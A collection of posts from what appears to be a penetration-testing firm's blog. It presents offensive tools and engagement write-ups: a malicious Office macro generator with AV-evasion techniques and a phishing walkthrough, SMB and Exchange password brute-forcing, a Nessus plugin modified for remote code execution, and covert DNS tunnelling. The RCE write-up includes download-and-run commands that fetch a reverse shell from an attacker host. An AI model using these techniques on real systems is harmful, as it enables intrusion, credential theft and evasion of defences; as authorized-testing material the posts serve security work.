Luckystrike: An Evil Office Document Generator.

DerbyCon Tool Drop 2.0 Talk here. Luckystrike demo begins at 18:45.

<tldr> Luckystrike is a PowerShell based generator of malicious .xls documents (soon to be .doc). All your payloads are saved into a database for easy retrieval & embedding into a new or existing document. Luckystrike provides you several infection methods designed to get your payloads to execute without tripping AV. See the "Installation" section below for instructions on getting started. </tldr>

Time to send my phish! Fire up Empire, create a listener, dump the macro code to excel. Crap! 32/45 caught at VT?? Ok... Can I embed this into a cell? <2 hours of research later> Argh wtf why isn't this working! <Another hour on MSDN & Stack Overflow> Nice! Ready to test. <Clicks Enable Content>.... no shell .... no shell ...... NO SHELL. :-(

How many times have we wasted precious hours doing the same thing only to have our payload not work or get caught. Irritating to say the least; that's time we could spend pillaging!

Generating a malicious macro doc is something that every pentester is well acquainted with. We use malicious macros all the time to gain footholds when other attacks don't work. We decided it was high time we had a tool that would automate as much as possible, allow us to reuse payloads, and include as many built in AV evasion techniques as we could.

Introducing Luckystrike (see "Installation" section below to get started).

Luckystrike is a menu-driven PowerShell script that uses a sqlite database to store your payloads, code block dependencies, and working sessions in order to generate malicious .xls documents. 



  1. PowerShell v5. The script is made to run on your machine, not your targets, so this shouldn't be a problem.
  2. Microsoft Office. Or at least Excel. Luckystrike uses the Excel COM objects to build .xls docs.
  3. PowerShell PSSQLite Module. The script will try an install this for you if not found.



NOTE: please, Please, PLEASE do not post errors in the comments section below! if you have a problem, please create a github issue on the luckystrike repo. Thank you!

To get started, run the following command from an administrative PowerShell prompt:

iex (new-object net.webclient).downloadstring('')

I realize you may be panicking over the fact that I'm telling you to run iex. Feel free to check out all the boring database commands install.ps1 does before running. You can also git clone the repo & run install.ps1 locally if that somehow makes you feel better. :-)

Install.ps1 does the following:

  1. Installs the PSSQLite module if you don't already have it (hence the admin rights).
  2. Creates .\luckystrike\
  3. Creates the database (ls.db) and puts it into .\luckystrike
  4. Copies down luckystrike.ps1 into .\luckystrike

Once everything is done, run the luckystrike.ps1 script

Getting Started

Luckystrike allows you to work with three types of payloads: standard shell commands, PowerShell scripts, and executables (.exe). Payloads that you add are stored in the catalog, a sqlite database file that can be used repeatedly, or shared amongst teammates. Every time you select a payload to use, you must also choose the infection type, or the means by which the payload will be executed. You can infect a document with multiple payloads of different infection types.

Let's get started by adding a simple shell command payload to start calc.exe:

Run luckystrike.ps1 and choose option 2 for Catalog Options. Add a payload to the catalog with a payload type of 1 (Shell Command). Shell commands are run exactly as you have them (including escape characters), so enter the text carefully.

Now that we have a payload created, let's select it and build our malicious file!

Go back to the main menu and chose option 1 (Payload Options), then choose the infection type to work with. In the case of Shell commands, there is only one type (DDE exec coming soon!):

Hint: Hit "98" to see help for the infection types.

So far you've added a payload to the catalog, then selected it for inclusion in a file. Luckystrike was built so you can add multiple payloads with multiple infection types to a single infected .xls, but more on that later. :-)

Now let's create the file. Choose File Options from the main menu, then generate the file.


Luckystrike will also infect existing .xls documents in case you already have a template you enjoy using (File Options > 2). Even if they already contain macro code, luckystrike will create a new CodeModule and append any existing Auto_Open calls (ensuring the naughty payloads are called first, of course). Note this is not a perfect science so something might get foobar'd in the process. Luckystrike will not monkey with your existing document. All new .xls files are saved to the ./luckystrike/payloads directory.

Open the file & click Enable Content. You should see calc.exe open. Hooray!

Have a look at the macro code:

Simple, straightforward. Notice that you are responsible for escape characters, so tread carefully. The payload originally used "Wscript.Shell" as the create object string, but that was picked up by 3/36 (, notably Windows Defender. Simply building a string that concatenates the letters took care of that. Thanks Microsoft! 

That was the most simple example. The macro code only gets more complicated from there. That said, here are the infection types broken down by payload type:

Infection Types

  1. PAYLOAD TYPE: Shell Command
    1. Infection Type: Shell Command:
      1. What you see above. Simply uses Wscript.Shell to fire a command. Shell commands run via powershell or cmd.exe do not pop a command window in the user's view. More likely to get caught by AV.
    2. Infection Type: Metadata
      1. Embeds the payload into the file's metadata, specifically the Subject field. A one liner method is fired in the macro to execute whatever is in the metadata. Very low detection rate!
  2. PAYLOAD TYPE: PowerShell Script. [Note: ALL .ps1 files that you save as payloads must be non-encoded! Luckystrike will b64 encode where necessary)
    1. Infection Type: CellEmbed. 
      1. Your "go to" for firing .ps1 scripts. Embeds a base64 encoded ps1 script into cells broken up into chunks. A Legend string is associated with the payload so it can be reconstructed at runtime. The payload can exist anywhere on the workable sheet, but will start, at minimum, Column 150 & Row 100. The base64 payload is saved to disk in C:\users\userid\AppData\Roaming\Microsoft\AddIns as a .txt file. The macro reads in the text file then fires with powershell.
    2. Infection Type: CellEmbedNonBase64
      1. Embedding is the same as #1 above, but is not base64 encoded. The script is read directly from the cell and fired via powershell. Never touches disk. Recommended!
    3. Infection Type: CellEmbed-Encrypted
      1. Personal favorite. When choosing this, you will be prompted for your target's email domain name. Example, if your target is, then you would use "" (no quotes) as that string, even if it's different than their main web url! The reason for this is luckystrike will RC4 encrypt the ps1 file (with the email domain as the key) prior to embedding. The macro code will then retrieve the user's email address from Active Directory, split the string, and decrypt the payload prior to running. If an AV vendor gets ahold of the payload, they won't be able to decrypt & run. MUAHAHAHA
  3. PAYLOAD TYPE: Executable
    1. Infection Type: Certutil.
      1. Based on @mattifestation's excellent work (here), this attack embeds a base64 encoded binary into cells, then saves it as a .txt file to disk, using certutil to decode the payload & save as an .exe. Exe is then fired.
    2. Infection Type: Save To Disk
      1. What you'd think. Exe is saved to disk then fired. Straightforward
    3. Infection Type: ReflectivePE
      1. Naughty! Both the .exe and a copy of Invoke-ReflectivePEInjection (here) are saved to disk as txt files. Exe is then fired using Invoke-ReflectivePEInjection. Be sure to test this one! Very important to know the architecture of your target vs the payload you're using. Additionally, I recommend testing your .exe with Invoke-ReflectivePEInjection prior to embedding as if your .exe is not ASLR/DEP compliant, the attack will not work (I'm not using -ForceASLR). On the positive side, only .txt files are written to %APPDATA%, so those relying on simply blocking execution from appdata are out of luck!


Real World

Popping calc is cool and all, but what about a real world test. Let's embed a custom metasploit meterpreter payload as well as an empire stager into an *existing* Excel document template. 

  • 1. Create your exe with msfvenom (you're using a custom built msf template to avoid AV right?? :-)
  • 2. Standup your msf listener as well as your empire listener. 
  • 3. Decode Empire's base64 encoded launcher (remember, all .ps1's must be loaded into luckystrike decoded).

decoding empire's launcher text. We will use empire-launcher.ps1 as our import into luckystrike.

  • 4. Launch luckystrike and add the msf exe as an Executable payload: 
  • 5. Add the decoded empire stager as a PowerShell Script payload.
  • 6. Select both payloads for embedding. For this test we're going to use the Certutil exe infection type and the CellEmbed-Encrypted ps1 infection type.
  • 7. Choose the File Options menu, then infect an existing xls document that already contains a macro. Lean back in your chair and smile.... maliciously.....
  • 8. Send your email to (authorized of course). Then wait for Bob to forget all his security training and derp-open the attachment. 
What could go wrong?

What could go wrong?

Nothing Bob. Keep calm & click on.

Planned features:

  1. Word doc support (won't be as robust as Excel, but it will work).
  2. Ability to store your templates in the database.
  3. "Quick attacks": Saving your payload & infection type choices for easy access.
  4. New, highly evil infection types & AV/sandbox evasions. 

Until next time!


Invoke-SMBAutoBrute.ps1 - Smart SMB Brute Forcing


One of my favorite post-ex metasploit modules is smb_login. It's great for running a quick test using credentials you've discovered. One of the problems with it is that there is nothing that prevents you from locking out accounts. Plus, you have to create user list which means dumping users | cut | sed | awk, blah blah blah. (Update: Thanks to @ztgrace for bringing me up to speed on the MaxGuessesPerUser advanced property of smb_login.)

I wanted something that did all this work for me that would just take a password list and be smart enough to handle all the logistics, plus I wanted it in PowerShell for obvious reasons (PowerShell > Ruby. <trollygrin>). Seriously though, I'm not a Ruby dev, and every time I try, I reach gem dependency rage-level 11 in about 15 minutes. So...

Solution: Invoke-SMBAutoBrute.ps1 (github)

  • Admin Rights Required: NO
  • PowerShell Version Required: 2+

The autobrute script has a few features built in making it handy for the pentester who needs creds & is short on time. 


The script receives the following parameters:


A simple text file that exists on target containing users to brute (one per line). If no list is passed, query the domain for a list of users whose badPwdCount attribute is two less than the domain account lockout threshold. Wrap paths in double quotes.

PasswordList (Required) 

A comma separated list of passwords to try. Even if the Lockout Threshold is 3 attempts, pass in 10 passwords or so. The script will grab safe users to brute every password run. Wrap list in double quotes.

LockoutThreshold (Required) 

The lockout threshold of the domain. Run "net accounts" on the target, grab the Lockout Threshold value and use that.


The number of milliseconds to wait between each attempt. Handy if your connection is slow, otherwise you could get odd errors. Default 100.


By default, only successes are shown. Specifying this switch will show all skipped and failed attempts. Lots of information will hit the screen. You've been warned.


What you'd expect. After the first successful authentication, exit the script.


The general order of the script is as follows. Assume no UserLIst was passed and the LockoutThreshold was set to 5.

  1. Perform prereq checks. Be sure you can locate the PDC, etc
  2. For each password in the password list, perform the following:
    1. Retrieve a list of enabled users from the domain (PDC specifically) whose badPwdCount attribute is <=3. The reason for this is is that we want all users who could not be locked out during this attempt. It is possible that a user could fat finger a password during the brute, locking their account. Unlikely, but possible.
    2. For each user retrieved:
      1. Check their badPwdCount attribute against all DCs and use the highest value. The reason this is done is the badPwdCount attribute is not replicated (source). If the highest value is greater than one less than the lockout threshold, do not test the account.
      2. If the account is safe to test, test the password against the PDC. If successful add the user to a valid users list (and never test this user again). Throw the result to the screen.

Risks: Regardless of the safety checks built in to the script, it is possible that lockouts could still occur. Replication problems between DCs, a DC that is being rebooted during processing, users who are trying as fast as they can with bad passwords, all could cause lockouts. Always best to test before you run against your target! It's been tested in my lab against thousands of users, but that's it. We are not liable for your slow env or the accounts you lock! :-)

Quick Screenshot:

Running as a low priv account.

Running as a low priv account.

Note: If you get LDAP server unavailable errors, you might be bruting too fast. Try setting the Delay param to 500 or so.


As with any brute force attack, your logs (specifically the PDC Security Event log) will be filled with failures. This script will actually load up the logs of all DCs as each user is checked against each DC for their badPwdCount attribute. We always recommend to our customers that they be setting thresholds on alerts so that if X events fire in X seconds, you are alerted. The security event log will contain the source IP of the authentication attempt. That's your compromised machine. 

Really sneaky pentesters could set the Delay to 1000+ and just let it run overnight. </evilgrin>

Comments are welcome, but please use github for any questions/bugs. Our scripts repo is here.


PS - An Empire pull request has been submitted. Keep a look out for situational_awareness/network/smbautobrute. :-)

Weaponizing Nessus

Once in a blue moon we come across a client that has truly done security right (or at least, tried really hard to do so). All the low hanging fruit has been trimmed: Responder doesn't work, no passwords in GPP, all systems patched up to date, no Spring2016 passwords, etc. As frustrating as this is for pentesters, it forces us to level up our game. 

This past week was one of those times where we had to fight for every inch (OSCP exam anyone? =). We couldn't get any shells and were only turning up crappy SSL vulnerabilities. We fired off a Nessus scan in hopes of getting some additional information and a Java deserialization vulnerability (info here) turned up on a linux based hosted, listening on tcp/40002.

Excited, we fired up metasploit and let 'er fly:

Screen Shot 2016-06-07 at 4.13.13 PM.png

Hooray. :-(

Disappointed, I began to search for a manual exploit, but something in the Nessus report stood out to me:

That's some pretty specific text. Made me wonder what exactly Nessus was doing to make such a definitive statement. If Nessus was able actually launch the exploit and get back some sort of feedback, then maybe I could modify the .nasl to suite my own purposes. 

I took a look at /opt/nessus/lib/nessus/plugins/opennms_java_serialize.nasl and found something interesting:

Well lookey what we have here....

Well lookey what we have here....

Outstanding! Nessus was actually exploiting the vulnerability to fire a ping command back at the Nessus box with the plugin ID in the ping buffer. All I had to was modify the payload to run other commands and launch. Fortunately, you can fire single .nasl scripts using /opt/nessus/bin/nasl command along with the -t <TARGETIP> switch. 

I performed the following steps:

  1. Copied the .nasl file
  2. Adjusted the nasl command to be: curl http://myattackbox
  3. Stood up a listener: nc -nlvp 80
  4. Fired the script against my target: /opt/nessus/bin/nasl /opt/nessus/lib/nessus/deserialize-custom.nasl -t TARGETIP
  5. Crossed my fingers. =)

It took a moment, but finally:



Now that I had confirmed RCE, I decided to step it up a few. I grabbed a python reverse shell one liner from pentest monkey (here) and put it into /var/www/ I then created three copies of the .nasl script for three different commands (yes, I know there are better & more efficient ways of doing this, but I was feeling lazy) and started apache. Each script performed one of the following three commands (in order):

  1. $ wget http://myip/ -O /tmp/
  2. $ chmod +x /tmp/
  3. $ /tmp/

I then crossed my fingers & fired....



After some research, we learned we were on a VMware vRealize appliance as the low privilege user horizon. We ran multiple privesc discovery utilities and found nothing. All files were sufficiently locked down to root. Kernel was reasonably up to date & no exploits were found. I couldn't sudo to another id, much less root. Bash history == empty. I was beginning to despair as we had dozens more systems to test and I had already burned several hours on this, but we still didn't have a solid foothold into the environment.

I was preparing to move on when a coworker suggested that we check to see if the horizon user can sudo run any applications....


It wasn't possible.

Surely we couldn't sudo run this "diagnosticCommandExecutor.hzn" with another command..... or could we....



No doubt a well meaning engineer put this there for troubleshooting purposes, and we were only to happy to use this "feature" to pwn... er..."troubleshoot" the system. 

A few tweaks to our script and:

Bob's your uncle.

Though I doubt VMware will remove the ability of the horizon user to sudo run any command via diagnosticCommandExecutor.hzn, they did issue a patch for the Java deserialization vuln (here)

Huge thanks to my buddy Steve (@jarsnah12) for lending his ability to linux hard!

Until next time!


Update to ProxyCannon

ProxyCannon, which can be found here, has undergone some revisions since our initial release and as a result, there's some new features we'd like to introduce.

Cleaner User Interface.  

We've cleaned up the number of arguments required to run the app from 6 to 3.  Now you only need to specify the AMI KEY, AMI ID, and the number instances you'd like start. You can still specify images size, type, etc, we just set the most cost effective options as default.

New Options

So if you're familiar with the older version of createProxy, you'll notice we've added new options.  

  • The -v option provides verbose debug output, specifically used for troubleshooting issues.
  • The -i option was added to let the user specify which interface should be used for establishing outbound connections.  Useful if your client is on a mac, or has multiple nic's.
  • The -l option will log all assigned IP's to a file for record keeping 
  • The -r switch rotate IP's

Rotate IP?!

So even by sending your Nessus scans across 10 Amazon EC2 hosts an IPS can still detect and shun one of your exit nodes. To deal with this, we've added the -r feature which will automatically rotate the public IP address of every exit node. Let say for example you fire up proxy cannon with 10 nodes and add the -r switch.  The first thing the script will do is build the egress nodes, tunnels, iptables and routes like normal.  Next the script will choose one node (at random) and alter the local route table to make that it appear less appealing than the other 9.  As a result, all new outbound TCP/UDP/ICMP packets will be traverse the remaining 9 nodes evenly all the while allowing any existing session data on the chosen node time to finish receiving its data. The script will then monitor the network state table for the chosen node. Once it identifies that the node is idle (i.e. no half open TCP/UDP/ICMP packets), proxyCannon tells Amazon to re-assign the nodes WAN IP. Next ProxyCannon will reprovision the host and add it back into the general pool of 10 nodes, and move onto the next.  On average, regardless of the number of exit nodes provisioned, proxyCannon will change its exit nodes IP's about 30 times in one hour without dropping / breaking a single session!

Rotate Nodes (-r) in action.  You'll note a few AWS API timeouts. Proxy Cannon will now attempt to recover its state automatically without immediately giving up.

Rotate Nodes (-r) in action.  You'll note a few AWS API timeouts. Proxy Cannon will now attempt to recover its state automatically without immediately giving up.

Save iptables state

ProxyCannon makes use of iptables to do its natting. In the past, if you ran it, your previous iptables state (if any) was lost. With this update, your previous iptable state will be saved before running, and restored when finished. 

Better Signal handling

We've added better (not perfect) signal handling, so that if/when an issue arises, ProxyCannon will attempt to cleanup up gracefully, restoring your system to its previous state.  

WAN IP Logging

If you ever want to know what WAN IP's your traffic took you can use the -l switch to record a log to the /tmp directory. 


Take a look and try it out.  If you run into any problems please submit an issue to github.


VPN over DNS


For some time now, we've been using DNSCat as a means to covertly transmit data during engagements where clients IDS's or Firewalls might otherwise block us.  The DNS protocol is often overlooked by system's administrators and as a result this tool has been immensely useful.

And while there are a other DNS tunneling solutions out there, this is the only one, to our knowledge, that supports 1) encryption 2) a centralized server for simple management 3) Command queuing.  4) Is free.

The one thing it does not support, is the ability to tunnel network traffic, from the client to the server.  

The Goal

What if we could setup a bi-directional vpn across dns that would allow all protocols, not just TCP?  This sort of thing is great for situation where you're at an Airport, Hotel, or some other captive portal situation where DNS resolves, but everything else is blocked.  This is also great for penetration testers who want to route/tunnel traffic through system that has been compromised.  And while DNSCat does support tunneling of TCP traffic, its unidirectional. i.e. From the server to the client only (Similar to SSH -L)

The Work Around

Ron (Primary author of DNScat) has mentioned that he intends to build in this feature at some point but for now, lets see if we can hack our way into getting what we want.  To do this we need the following:


For this setup, you will need to register a domain to use. As an example we use from Note that we only care about the NS record which points to our server running the DNScat server software.


On the server side we need to setup a few things. First is to setup ssh keys:


Next, we enable routing on the server:

echo 1 > /proc/sys/net/ipv4/ip_forward

Next we run we run the DNSCat Server.  Lets go through some of the switches we used:

  •  The -c switch is the preshared crypto key we want to use between the client and the server. This is optional, since we're going to be running a vpn across this, but why not add the extra layer of encryption.
  •  The -u switch tells the server to automatically attach to each inbound dnscat client session.
  •  The -a switch tells the server that we want to automatically run the following command on each new session.  As per the documentation, the 'listen' command will establish a tunnel between the server and the client where on the server a listening socket is created on port 2222 and all connections are forwarded to the client to  This could easily be changed to forward browser traffic to by changing it to read 'listen'.

After the server is started, we switch to the client.


We wont go into to details on how to compile the client, you can find those instructions on the github/readme page.  However for this to work, we compile the client and run it locally as root. But before we do that we need to make some modifications to the sshd config. Three changes need to be made to the standard sshd_config

  1. Comment out 'PermitRootLogin without-password'
  2. Add 'PermitRootLogin yes'
  3. Add 'PermitTunnel yes'

Next restart the service and enable IP routing

# /etc/init.d/ssh restart
# echo 1 > /proc/sys/net/ipv4/ip_forward

Once forwarding is enabled, we can connect our client to the server.

We can see that the session has been established, and on the server we see the following:

Next step is to push our keys from the server to the client. To do this, on the server run the following command:

scp /root/.ssh/ root@ -P 2222 

Note, when being prompted for creds, this is the root password on the client machine.

Once the server ssh key has been pushed to the client. Now establish a SSH based vpn tunnel (-w) from the server to the client.

ssh -i /root/.ssh/id_rsa root@ -p 2222 -w 1:1 -o TCPKeepAlive=yes -o ServerAliveInterval=50 &

If successful, you should now have an interface tun1 on both the client and the server. On both machines you'll need to provision IP's, Routes and IPTables for natting.

On Server

ifconfig tun1 address netmask
ifconfig tun1 up
route add [client network]/[netmask] via dev tun1
iptables -t nat -A POSTROUTING -o tun1 -j MASQUERADE

On client (via SSH):

ssh -i /root/.ssh/id_rsa root@ -p 2222 'ifconfig tun1 address netmask'
ssh -i /root/.ssh/id_rsa root@ -p 2222 'ifconfig tun1 up'
ssh -i /root/.ssh/id_rsa root@ -p 2222 'route add [server network]/[netmask] via dev tun1'
ssh -i /root/.ssh/id_rsa root@ -p 2222 'iptables -t nat -A POSTROUTING -o tun1 -j MASQUERADE'

So now, traffic from the server or the client should be able to reach either sides network. If you want to forward all traffic out, you could even put in a default route.

Final Thoughts

This solution, while effective, is slow. Not to mention, this will only work on *nix systems. But on the plus side, all TCP, UDP and ICMP traffic is properly routed across the tunnel allowing for such things as full port scans and streaming Netflix.


Websocket based egress buster


It is common during a penetration test that a tester may run into the problem of figuring out which ports and maybe even which protocols are allowed out of an environment.  This is due to the need for a payload to successfully establish command and control.  With the adoption of layer 7 inspection for firewalls and the slow adoption of proper egress filtering, this problem will only get more prevalent. 

Possible Solution (<-- click if you don't want to read)

Seeing as most browsers now support websockets, I set out to create a simple client/server setup that would be able to test the most common ports.  The tool would consist of a python based server and simple javascript to include with any webpage that would cycle thru connection attempts via websockets on an array of ports. 

Upon further investigation I found why no tool already existed to do what I was trying to accomplish.  As I started to piece together some python based on the RFCs I could find, I found that someone else had already done it better than I (  Taking this code as a starting point I soon had a multi-threaded websocket server that listened on ports 21,22,23,53,3389 and 8080.  I worked up some javascript to test it and found this:

If port is a port to which the user agent is configured to block access, then throw a SECURITY_ERR exception. (User agents typically block access to well-known ports like SMTP.)

This basically meant that browsers blocked most interesting ports and the ones that I wanted to know about. Somewhat frustrated at this point I continued to search for a solution. I then began digging into what possibilities I might have by utilizing Flash.  While finding the use of flash sockets as a possibility, I reluctantly accepted this as a dependency and continued on.

What I came up with is much less elegant than I had hoped, but what you do is setup a server to listen to ports of interest.  Then you setup some javascript which will invoke websocket requests to the server on those various ports.  For this you can use like this:

In its current form the the egress server requires connectivity from the client on port 843 to function because of the way that Flash handles its socket security policy (see this). Once your server is setup you need to host a couple files on a web server (WebSocketMain.swf, egress_test.js, swfobject.js, web_socket.js, egress.html). Then in a separate directory you will need to have and flashpolicy.xml.

Finally you will have to place the public ip that you are using for your egress server into the egress_test.js file like so:

It is also important to note that you should ensure that your firewall for the egress server allows the ports through that you wish to test, because of this I highly suggest using an AWS, Azure, or some other virtual private server for this purpose. Also do not host any sensitive data on the server that is running this. Once things are all in place have your target browse to the egress.html page. On your egress server it should look like this:

This utility is valuable if you need to quickly gather possible egress ports available from a network that you are currently on, such as in an audit context. But it is also useful for a pretext to a social engineering attack where you need to ensure your payload will successfully communicate out and establish command and control. For example, many companies have online chat where you can talk to a representative. Simply engage the customer service rep in a way that will get them to load the page, and you should have good intel into what ports are allowed out. Enjoy!




Abusing Exchange Web Service - Part 1

Outlook Web Access (OWA) has been one of the consistently viable attack vectors for pentesters and bad guys alike for many years. Frequently, an attacker will obtain valid credentials by brute forcing OWA portals exposed to the internet. Once credentials are obtained an attacker can then access the target network via any other single factor authentication portals that may also be exposed (Citrix, VPN, or *gulp* RDP). 

After using multiple brute force tools I began to see some false negatives, so I decided to dive into writing my own tool. I found that many installations of Exchange provide an API through the Exchange Web Service (EWS) and wrote a set of modules to take advantage of that.

The EWS is a convenient API exposed to allow programatic access to someones mailbox and some Exchange functionality (Thanks Microsoft!). To get started using these modules you have to install the Exchange Web Service API (here). Once that is installed get a copy of the OWA-Toolkit from here. Then import the module like so:

Import-module C:\path\to\OWA-Toolkit.psm1

Once you have the module imported you should be able to see what cmdlets it includes:

Decide if you want to brute using user ids or full email addresses and then compile a list of targets. The list should just be a txt file that has one user per line. Then you can invoke Brute-EWS like so (if you want to brute with emails include the Domain parameter):

Brute-EWS -TargetList .\userids.txt -ExchangeVersion 2007_SP1 -ewsPath "" -Password "omg123" -Domain ""

If you so chose you can also pass the UserAsPass parameter to attempt authentication with the userid passed as the password. Once valid credentials are obtained it is common to take the Global Address List (GAL) to use for additional brute forcing or social engineering. This was usually a painful process forcing OWA to load all the addresses while I was proxying it through Burp. So, utilizing the EWS I decided to write a script to take the GAL. To use the Steal-GAL cmdlet you can invoke it like so:

Steal-GAL -Password "littlejohnny" -User "dbetty" -domain "" -ExchangeVersion 2007_SP1

You can also pipe an exchService object to this cmdlet like so:

OTK-Init -Password "littlejohnny" -User "dbetty" -Domain "" -ExchangeVersion 2007_SP1 | Steal-GAL

The output is designed to be piped to an output method of your choice; the easiest way I have found is to just add "| export-csv -Path .\gal.csv" to your command. Please provide any feedback or issues you might have to Github. Thanks.


Why Security Awareness Training Fails

First, let's talk about what "failure" is and is not in the context of Security Awareness Training (SAT). Failure is not when a company gets breached due to social engineering. Wait, what?? All the outstanding training in the world does not guarantee that an individual will follow it when the moment of testing occurs. Soldiers are trained to highest levels to deal with the stress and trauma of battle, but still come back scarred, having likely made mistakes in spite of their training.

Security Awareness Training "failure" is when a user is left without the knowledge to act appropriately in a given situation.  In other words, when they haven't been properly prepared to handle phishing emails and voice based scams or choose a strong password, SAT has failed them. The user clicking on the phishing link is just the end result of this failure.

I submit that SAT failure occurs for (at least) three reasons:

1) Training does not reflect real life security encounters.

I am sick to death of training courses telling users that they should watch out for misspellings and grammar mistakes in the email body, as if phishers don't have access to Word's spell/grammar check. While its certainly true that phishing emails can and do originate from these places, the user is actually provided a false sense of security if that is their sole basis for detection. What if your company employs or works with individuals whose first language isn't English? End users will receive legitimate emails with spelling/grammar mistakes and their training will be for nothing.

Trainer tip: If you want to talk about misspellings, forget the body of the email and focus on the sender's domain! That's more of an effective phishing mitigation technique than looking for misspellings in a paragraph will ever be.

Additionally, how often have we heard to choose a "secure" password like "7Jkw8$hQ"? Look at that thing. Covers all the complexity rules, meets the minimum 8 character corporate standard, a true thing of beauty...


Trainers say this because they've never cracked a password hash in their whole career and don't know any better (See #2). With our cracking rig, that would take about 2 seconds to crack (NTLMv1 that is. About an hour for NTLMv2). 

Trainer Tip: Emphasize length over complexity, every time. "this here password is fantastic" is much stronger than an 8 character complex password and is way easier to type!

Good SAT has to be thoroughly relevant and a bit scary. Users must understand the consequences of clicking that link or opening that attachment. It's not good enough to simply say "don't do this", they must come to understand why. If they cannot link their improper action with a loss of company data in vivid, graphic detail, you aren't doing your job.

2) Instructor does not have the right experience to be effective.

The best instruction I've ever received, security-wise or other, has been from those who have been there - actually doing the work. They aren't professional trainers. They are simply experts in their field because they've spent years actually doing the things they are training about. When you go on YouTube to learn how to replace a toilet, do you find 17 year old Billy's video and follow that, or do you find some crusty graybeard who's been plumbing his whole life? That's not to say good trainers can't be young, it just means they must be *experienced*. 

Let me emphasize this: the WORST thing you can do for your org is to simply relegate your SAT to computer based training. Forcing a user to watch some lame video of a "hacker" so they can click Next as fast as possible before guessing the painfully obvious quiz answers is an egregious waste of company resources, not to mention people's lives.

Real hackers use The Force! 

Real hackers use The Force! 

Do you company's data a favor, pay for high quality live training that will make an impression and get your users talking about security! Fostering a culture of security in your enterprise is one of the best things you can do for your organization's security posture.

3) Training is boring.

This is a personal pet peeve of mine. How often have we watched someone with awesome content who simply could not deliver it well. I'm not talking about people who are nervous during their presentation. That's certainly understandable. I'm talking about people who deliver in a bland, monotone, and otherwise horrible way - devoid of anything close to resembling emotion

At this point on the revenue curve, you will get exactly the same amount of revenue as this point....

At this point on the revenue curve, you will get exactly the same amount of revenue as this point....

Information Security is one of the most interesting fields in existence today, and one need not look far for stories that will not only make you laugh (or cry), but will also drive home the points you need to make as a trainer. 

Trainer Tip: Learn how to tell a good story. Practice in the mirror if you have to, but do not settle for mediocrity. Your training should be engaging and memorable, and when it comes to Information Security, nothing beats a good story! Don't know how to do that? Start here. Then here

Pro Trainer Tip: Tell stories about your failures. When people observe you as a human, not an "expert", you will connect with them immediately and have their complete attention.

Final Thoughts

If you want to deliver solid infosec training, you must focus on the right things, have the experience to back it up, and be able to connect to your audience. Miss any one of these three and the quality of your training will suffer. Put up screenshots of real phishing emails, do a quick demo of what a compromise looks like, tell your audience how you failed then succeeded, and people will connect with you not only as an expert, but also as one who is in the trenches with them. There is no better place to be as a trainer.

But I'm just organizing the training for my company!

Hire a pentester! They will (hopefully) know their stuff and have the experience to back it up. Have a quick call with them to make sure they don't bore you to tears, and off you go. Don't know who to hire? Call me biased, but I think these guys are pretty good. :-)


Assisted directory brute forcing

Very frequently during a web application assessment a pentester may begin by fingerprinting what web frameworks and libraries are used by a given application.  Possibly by running a tool such as blindelephant or whatweb.  Commonly though the tester may just notice a unique identifier in the web traffic or URL.  Consider the following: 

So simply looking thru the initial page you can generally see unique items that will reveal various frameworks or CMSs.  Alternatively, you could find various unique pieces of the web application because of your initial OSINT or recon.  Like this (except your should append site:<target domain> to the search):

So what does that have to do with anything?  Well, one of my favorite web vulnerabilities is weak permissions on sensitive files.  Think of things like phpMyAdmin, TinyMCE, or FCKeditor etc.  Web servers are very rarely setup correctly, and misconfiguration will most likely lead to compromise or at least information leakage.  I found myself taking the unique indicators within web applications and searching for the projects on Github.  Once I located the github project I was taking the git repo to create a directory and file list for brute forcing later.  I believe in automating anything I have to do manually more than five times.  So that is what I did.  You can find the python script here.     

Run the script like this:

Once done use the output file with your favorite directory brute forcing tool.  I like dirs3arch, so for that tool it would look like this:

I have found this technique very useful, hopefully you do as well.  In the future I intend to code the functionality into a full featured directory brute forcing tool such as dirs3arch, goBuster, or dirb.